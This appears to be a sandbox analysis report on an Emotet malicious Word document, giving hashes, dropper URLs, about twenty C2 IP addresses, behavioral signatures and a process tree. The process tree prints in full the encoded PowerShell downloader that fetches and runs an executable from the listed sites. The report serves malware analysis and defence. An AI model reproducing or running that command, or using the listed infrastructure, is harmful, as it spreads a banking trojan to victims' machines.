Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    63s
  • max time network
    42s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    03/09/2020, 16:12

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_ace15062e2fc2ddffcccb9d8fbbff16098fd1bc75df09872b348e88477a29436_2020-09-03__161116._doc.doc
  • Size 186KB
  • Sample200903-aa16se7556
  • SHA256 ace15062e2fc2ddffcccb9d8fbbff16098fd1bc75df09872b348e88477a29436
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://dvers.me/cgi-bin/s/
  • exe.dropper

    http://fabregat.eu/images/q/
  • exe.dropper

    http://ezola.fr/Accessoires/IKh/
  • exe.dropper

    http://finewines.com.sg/wset-2-registration/6bsizM/
  • exe.dropper

    http://fernsehservice-stara.de/cgi-bin/x/
  • exe.dropper

    http://familienbande-ley.de/cgi-bin/tKX/
  • exe.dropper

    http://ketisch.de/adina/G/

Extracted

Family

  • emotet

C2

  • 140.186.212.146:80

  • 85.214.28.226:8080

  • 142.44.137.67:443

  • 162.241.242.173:8080

  • 24.43.99.75:80

  • 120.150.60.189:80

  • 189.212.199.126:443

  • 98.109.204.230:80

  • 174.45.13.118:80

  • 95.213.236.64:8080

  • 203.153.216.189:7080

  • 188.219.31.12:80

  • 168.235.67.138:7080

  • 152.168.248.128:443

  • 173.62.217.22:443

  • 176.111.60.55:8080

  • 201.173.217.124:443

  • 112.185.64.233:80

  • 190.160.53.126:80

  • 37.139.21.175:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_ace15062e2fc2ddffcccb9d8fbbff16098fd1bc75df09872b348e88477a29436_2020-09-03__161116._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:844
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABJADQAMAB1AHcAYQBmAD0AKAAoACcASQByACcAKwAnADcAJwApACsAJwA3ACcAKwAoACcAcAAnACsAJwBzAHEAJwApACkAOwAmACgAJwBuACcAKwAnAGUAJwArACcAdwAtAGkAdABlAG0AJwApACAAJABFAE4AVgA6AHUAcwBlAHIAcAByAE8AZgBpAEwAZQBcAEEAVQBRAGkAZgBGADAAXABNAE8AZwBqAE4AcgA1AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQByAEUAQwB0AE8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAQwBVAGAAUgBJAHQAeQBQAGAAUgBvAHQAYABvAEMAbwBsACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAMQAyACcAKQArACgAJwAsACAAdABsACcAKwAnAHMAMQAxACcAKQArACcALAAgACcAKwAoACcAdABsACcAKwAnAHMAJwApACkAOwAkAEQAcwAwAHkAcAB4AHIAIAA9ACAAKAAoACcATQAnACsAJwBvAGIAJwApACsAJwB3ACcAKwAoACcAdQBvACcAKwAnADYAJwApACkAOwAkAEcAcwAyADkAXwBrAHMAPQAoACcAUgByACcAKwAoACcAbQB3AHoAJwArACcAOQA3ACcAKQApADsAJABaAGgANwBpAGwAZwB0AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAoACcAQwBRACcAKwAnADkAQQB1AHEAJwArACcAaQAnACkAKwAnAGYAJwArACgAJwBmADAAQwAnACsAJwBRACcAKQArACcAOQBNACcAKwAoACcAbwAnACsAJwBnAGoAJwApACsAKAAnAG4AcgAnACsAJwA1ACcAKQArACgAJwBDAFEAJwArACcAOQAnACkAKQAgAC0AQwBSAGUAcABMAGEAQwBlACAAIAAoACcAQwBRACcAKwAnADkAJwApACwAWwBjAEgAQQByAF0AOQAyACkAKwAkAEQAcwAwAHkAcAB4AHIAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABKADgAOAB5AGsAYwBfAD0AKAAnAFkAJwArACcAMwAzACcAKwAoACcAMAAnACsAJwBwAGkAOQAnACkAKQA7ACQATgA5ADMAOQAyAHMAaQA9AC4AKAAnAG4AZQAnACsAJwB3AC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAATgBFAFQALgBXAEUAYgBjAEwAaQBFAG4AVAA7ACQAUwA3AG0AYQBuAG4AZwA9ACgAKAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwADoAJwArACcALwAnACkAKwAnAC8AZAAnACsAKAAnAHYAJwArACcAZQByAHMAJwApACsAJwAuACcAKwAoACcAbQBlAC8AYwBnAGkALQAnACsAJwBiACcAKwAnAGkAbgAvAHMALwAnACsAJwAqAGgAdAB0ACcAKQArACgAJwBwADoAJwArACcALwAnACkAKwAoACcALwBmAGEAJwArACcAYgByAGUAZwAnACsAJwBhAHQALgBlACcAKQArACgAJwB1AC8AaQAnACsAJwBtAGEAJwArACcAZwBlACcAKQArACgAJwBzAC8AJwArACcAcQAvACcAKQArACgAJwAqAGgAJwArACcAdAAnACsAJwB0AHAAOgAvAC8AZQB6ACcAKQArACgAJwBvAGwAYQAnACsAJwAuACcAKQArACcAZgAnACsAJwByAC8AJwArACcAQQAnACsAKAAnAGMAYwAnACsAJwBlAHMAJwArACcAcwBvAGkAJwApACsAJwByAGUAJwArACgAJwBzAC8AJwArACcASQAnACkAKwAoACcASwBoACcAKwAnAC8AJwApACsAJwAqACcAKwAnAGgAdAAnACsAKAAnAHQAcAAnACsAJwA6AC8ALwBmACcAKQArACcAaQAnACsAKAAnAG4AZQAnACsAJwB3AGkAJwApACsAJwBuAGUAJwArACcAcwAuACcAKwAnAGMAbwAnACsAKAAnAG0ALgBzACcAKwAnAGcAJwApACsAJwAvACcAKwAnAHcAcwAnACsAKAAnAGUAdAAnACsAJwAtADIALQByAGUAZwBpACcAKwAnAHMAJwArACcAdAByACcAKQArACcAYQB0ACcAKwAoACcAaQBvAG4ALwA2AGIAcwBpACcAKwAnAHoAJwArACcATQAnACsAJwAvACoAaAAnACkAKwAoACcAdAB0ACcAKwAnAHAAOgAvAC8AJwApACsAKAAnAGYAZQAnACsAJwByACcAKQArACcAbgBzACcAKwAoACcAZQBoAHMAZQAnACsAJwByAHYAaQBjACcAKwAnAGUALQAnACsAJwBzAHQAJwArACcAYQByAGEALgAnACkAKwAnAGQAJwArACcAZQAnACsAJwAvAGMAJwArACcAZwBpACcAKwAoACcALQBiAGkAbgAnACsAJwAvAHgAJwArACcALwAqAGgAdAB0AHAAOgAnACsAJwAvAC8AZgBhAG0AJwApACsAJwBpACcAKwAoACcAbABpACcAKwAnAGUAJwApACsAJwBuACcAKwAoACcAYgBhAG4AZABlAC0AJwArACcAbAAnACkAKwAnAGUAeQAnACsAKAAnAC4AZABlAC8AYwAnACsAJwBnACcAKwAnAGkALQBiAGkAbgAvACcAKwAnAHQASwBYAC8AKgBoAHQAdABwADoALwAnACsAJwAvAGsAZQB0ACcAKwAnAGkAJwApACsAJwBzACcAKwAoACcAYwBoAC4AZABlAC8AYQAnACsAJwBkACcAKwAnAGkAJwApACsAKAAnAG4AYQAvAEcAJwArACcALwAnACkAKQAuACIAUwBwAGAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABZAGUAawBlAGoAaQB1AD0AKAAnAFoAJwArACgAJwBoACcAKwAnAGgAOQAnACkAKwAoACcAZgAnACsAJwA1ADEAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABBADAAOABiAGYAYQB3ACAAaQBuACAAJABTADcAbQBhAG4AbgBnACkAewB0AHIAeQB7ACQATgA5ADMAOQAyAHMAaQAuACIAZABvAHcATgBMAGAATwBBAEQARgBgAEkAbABFACIAKAAkAEEAMAA4AGIAZgBhAHcALAAgACQAWgBoADcAaQBsAGcAdAApADsAJABOAGEAaQB4AHIAZwB0AD0AKAAnAE4AMgAnACsAJwBfACcAKwAoACcAaQBzAHUAJwArACcAaQAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABaAGgANwBpAGwAZwB0ACkALgAiAGwAYABFAE4ARwBUAEgAIgAgAC0AZwBlACAAMgA4ADQANwA5ACkAIAB7ACYAKAAnAEkAbgB2ACcAKwAnAG8AawBlAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAFoAaAA3AGkAbABnAHQAKQA7ACQASwB5AHUAeAAzADIAZgA9ACgAKAAnAFYAegBjACcAKwAnADYAJwApACsAKAAnAGMANQAnACsAJwBlACcAKQApADsAYgByAGUAYQBrADsAJABGAHAAbwBhAGsAcQA0AD0AKAAoACcAQwB3ACcAKwAnAHQAJwApACsAJwBqACcAKwAoACcAbQAnACsAJwB1AG8AJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFUAbgAyAGcAZgA5ADMAPQAoACgAJwBCACcAKwAnAGoAeQAnACkAKwAnAHIAJwArACgAJwByACcAKwAnAGwAcQAnACkAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1588
    • C:\Users\Admin\Auqiff0\Mogjnr5\Mobwuo6.exe
      "C:\Users\Admin\Auqiff0\Mogjnr5\Mobwuo6.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1404
      • C:\Windows\SysWOW64\WPDShextAutoplay\cryptbase.exe
        "C:\Windows\SysWOW64\WPDShextAutoplay\cryptbase.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:948

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/844-3-0x0000000006D20000-0x0000000006F20000-memory.dmp
        Download

        memory/844-5-0x000000000ACE0000-0x000000000ACE4000-memory.dmp
        Download

        memory/844-2-0x0000000008880000-0x0000000008884000-memory.dmp
        Download

        memory/1120-21-0x000007FEF87B0000-0x000007FEF8A2A000-memory.dmp
        Download

        memory/1404-16-0x00000000001C0000-0x00000000001CC000-memory.dmp
        Download

        memory/1588-8-0x0000000002370000-0x0000000002371000-memory.dmp
        Download

        memory/1588-13-0x000000001B6E0000-0x000000001B6E1000-memory.dmp
        Download

        memory/1588-12-0x000000001B650000-0x000000001B651000-memory.dmp
        Download

        memory/1588-11-0x00000000024A0000-0x00000000024A1000-memory.dmp
        Download

        memory/1588-10-0x000000001A860000-0x000000001A861000-memory.dmp
        Download

        memory/1588-9-0x000000001AA80000-0x000000001AA81000-memory.dmp
        Download

        memory/1588-7-0x000007FEEA0B0000-0x000007FEEAA9C000-memory.dmp
        Download